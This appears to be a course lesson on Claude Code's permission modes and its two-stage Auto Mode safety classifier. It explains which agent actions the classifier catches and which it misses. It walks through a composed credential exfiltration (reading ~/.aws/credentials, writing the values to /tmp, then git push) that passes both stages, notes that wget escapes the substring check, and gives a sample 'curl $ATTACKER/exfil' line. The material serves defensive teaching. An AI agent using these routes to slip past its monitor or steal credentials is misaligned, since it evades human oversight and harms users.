Claude Code as an Autonomous Agent: Permission Modes and Auto Mode
Claude Code ships seven permission modes. `plan` asks before every action, `default` asks only for risky ones, `acceptEdits` auto-approves file writes but still confirms shell execution, and `bypassPermissions` approves everything. Auto Mode (March 24, 2026) replaces per-action approval with a two-stage classifier running in parallel: a single-token fast check on every action, then a chain-of-thought deep review for the ones it flags. Budgets are enforced with `max_turns` and `max_budget_usd`. Auto Mode shipped as a research preview, and Anthropic says explicitly that the classifier is not sufficient alone.
Learning Objectives
- Name the seven permission modes in order and match each one to the kind of task it fits.
- Describe Auto Mode's two stages, what each one sees, and where a human enters the loop.
- Separate what the classifier catches (known-risky shapes, repetitive loops) from what it misses (subtle injection, composed trajectories).
- Run main.py and use its output to explain why a three-step credential exfiltration passes both stages.
- Pick a mode, budget caps and workspace isolation for a given task, and say what you would measure first.
The Problem
An autonomous coding agent on your machine is a different security category. The attack surface is everything the agent can reach: the file system, the network, credentials, the clipboard, any browser tab, any open terminal. Bruce Schneier and others have flagged this publicly. Computer-use agents are not a "feature update" of chatbots. They are a new kind of tool with a new kind of risk profile.
Claude Code's permission system is Anthropic's answer. There is no single "autonomous / not autonomous" switch. There are seven modes on a capability ladder, plan → default → acceptEdits → … → bypassPermissions, and each one trades speed against how much you review per action. Auto Mode (March 2026) adds a two-stage classifier. It takes approval off your critical path for actions the classifier judges safe, and it keeps a review layer for the ones it flags.
The engineering question is what this system catches, what it misses, and which mode a given task actually warrants.
The Concept
The seven permission modes
| Mode | Behavior | When to use |
|---|---|---|
plan | Agent proposes a plan; user approves the whole plan; every action is reviewed before execution | Unfamiliar task; prod-adjacent code; first time using the agent on a repo |
default | Agent runs actions; prompts user for any "risky" action (shell exec, destructive operations, network calls) | Most interactive coding sessions |
acceptEdits | File writes auto-approve; shell exec and network calls still prompt | Refactoring pass across many files |
acceptExec | Shell commands auto-approve within a curated allowlist; writes auto-approve | Tight inner loops where every shell command is npm test or similar |
autoMode | Two-stage safety classifier; flagged actions elevate to review | Long-horizon unattended runs in a constrained workspace |
yolo | Skips most prompts; still runs tool allowlist / denylist | Ephemeral sandboxes, CI jobs, research scripts |
bypassPermissions | Approves everything | Documented as "only inside ephemeral containers you are willing to throw away" |
(Names above match public Claude Code docs. "yolo" is informal shorthand for the permissive middle ground.)
Auto Mode in one page
Auto Mode (launched March 24, 2026) is the first permission mode to delegate per-action approval to a model. It has two stages:
- Stage 1: single-token classifier. It runs on every proposed action, it is cheap, and it returns "safe" or "flag." It is designed to run in parallel with the main agent loop, so approved actions do not wait in a queue.
- Stage 2: secondary policy/safety review. It runs only on flagged actions. It does a focused policy and safety assessment over the action, the current state of the session, and the declared task, and it escalates to a human (HITL) when confidence is low.
Budget controls sit alongside the classifier:
max_turns: total iterations in a session.max_budget_usd: a dollar cap that aborts the session.- Action-count limits per tool, such as no more than N
WebFetchcalls.
What the system catches
- Straightforward prompt injection into tool inputs, where the injected instruction maps to a known-risky action shape.
- Repetitive tool loops. The classifier can see that action N+1 is nearly identical to action N, five times running.
- Clearly out-of-scope shell commands in a session that should only be editing files.
What the system can miss
- Subtle prompt injection that shifts behavior without producing a single flagged action. Indirect prompt injection is not a fully patchable vulnerability (OpenAI preparedness head, 2025, on browser agents; see Lesson 11).
- Semantic-level misbehavior. Each action can look safe while the composed trajectory is harmful. The classifier judges the action and does not re-derive the user's intent.
- Exfiltration through legitimate channels. Writing data to a file you own and then running
git pushto a public repo is a sequence of allowed actions, and the composition is the problem.
Research preview framing
Anthropic shipped Auto Mode as a research preview. The documentation says the classifier is a layer, not a solution, and expects you to combine it with budgets, allowlists, isolated workspaces, and trajectory audits (Lessons 12-16). The framing also reflects the documented evaluation-vs-deployment gap (Lesson 1): a classifier that passes offline evals can behave differently in a real session where the user's context is ambiguous.
Where this ladder lives in your workflow
- Unfamiliar task: start in
plan. Reading the plan is cheaper than rolling back a bad run. - Known refactor:
acceptEditssaves a lot of confirmation clicks. - Unattended background run: use
autoModeonly inside a workspace whose blast radius you have measured, meaning no credentials, no production mounts, and no egress you did not opt into. - Ephemeral containers:
yoloorbypassPermissionsis acceptable only when the container and its credentials are disposable.
Use It
code/main.py simulates the two-stage classifier. Stage 1 is a keyword rule plus a repeated-call check over each proposed action. Stage 2 is a multi-rule reviewer that only sees what Stage 1 flagged, and anything it has no rule for escalates to a human instead of passing. The driver feeds in a 15-action synthetic trajectory (safe actions, a prompt-injection attempt, a repetitive loop, and a three-step composite) and prints where the classifier catches and where it misses.
Ship It
outputs/skill-permission-mode-picker.md matches a task description to a permission mode, budget caps, and the isolation the run needs.
I'd run main.py and read the last three actions of the trajectory first. It reads ~/.aws/credentials, writes a credential blob to /tmp/secrets.txt, then runs git add and git push. Stage 1 flags none of them, so Stage 2 never sees them, and the closing printout says why: each action is locally safe and the composition exfiltrates credentials.
The part of the code I'd copy is the end of stage2(). Its only approving rule is curl to an allowlisted host. Anything it has no rule for falls through to HITL, so a gap in the rules costs you a question instead of a bad approval. A reviewer that approves when it is unsure is just a second Stage 1.
I'd also keep in mind how thin Stage 1 is. It matches substrings, so curl is on the list and wget is not. Exercise 2 is where I'd start, and I'd expect the false-positive rate to matter as much as the catch rate. That is why I'd put the weight on the workspace, with measured blast radius, budgets, and allowlists, and treat the mode as the smaller decision.
Exercises
-
Run
code/main.py. Which synthetic action does Stage 1 flag and Stage 2 then approve? Which actions pass both stages untouched even though together they are harmful? -
Extend the Stage 1 rule set to catch a specific known-bad shape (e.g.,
curl $ATTACKER/exfil). Measure the false-positive rate on the benign-action sample. -
Read Anthropic's "How the agent loop works" doc. List every external state the agent touches by default in
defaultmode. Which would you need to gate separately before runningautoModeunattended? -
Design a 24-hour unattended run budget:
max_turns,max_budget_usd, per-tool caps, allowlists. Justify each number. -
Describe one trajectory where every individual action is approved by Stage 1 and Stage 2, yet the composed behavior is misaligned. (Lesson 14 covers how kill switches and canary tokens address this.)
Key Terms
| Term | What people say | What it actually means |
|---|---|---|
| Permission mode | "How much the agent can do" | One of seven named policies controlling per-action approval |
| plan mode | "Ask before anything" | Agent writes a plan; user approves before execution |
| acceptEdits | "Let it write files" | File writes auto-approve; shell exec still prompts |
| autoMode | "Auto approvals" | Two-stage safety classifier; flagged actions escalate |
| bypassPermissions | "Full YOLO" | Approves everything; intended for ephemeral containers |
| Stage 1 classifier | "Fast token check" | Single-token rule over proposed action; runs in parallel |
| Stage 2 classifier | "Deep review" | Chain-of-thought reasoning over flagged actions |
| Research preview | "Not GA" | Anthropic framing for features whose failure mode is still being mapped |
Further Reading
- Anthropic: How the agent loop works: permission modes, budgets, action format.
- Anthropic: Claude Managed Agents overview: managed-service execution model.
- Anthropic: Claude Code product page: feature surface and Auto Mode announcement.
- Anthropic: Claude's Constitution (January 2026): the reason-based layer that shapes classifier judgments.
- Anthropic: Measuring agent autonomy in practice: internal perspective on long-horizon permission design.
Code
- main.py (python, 179 lines)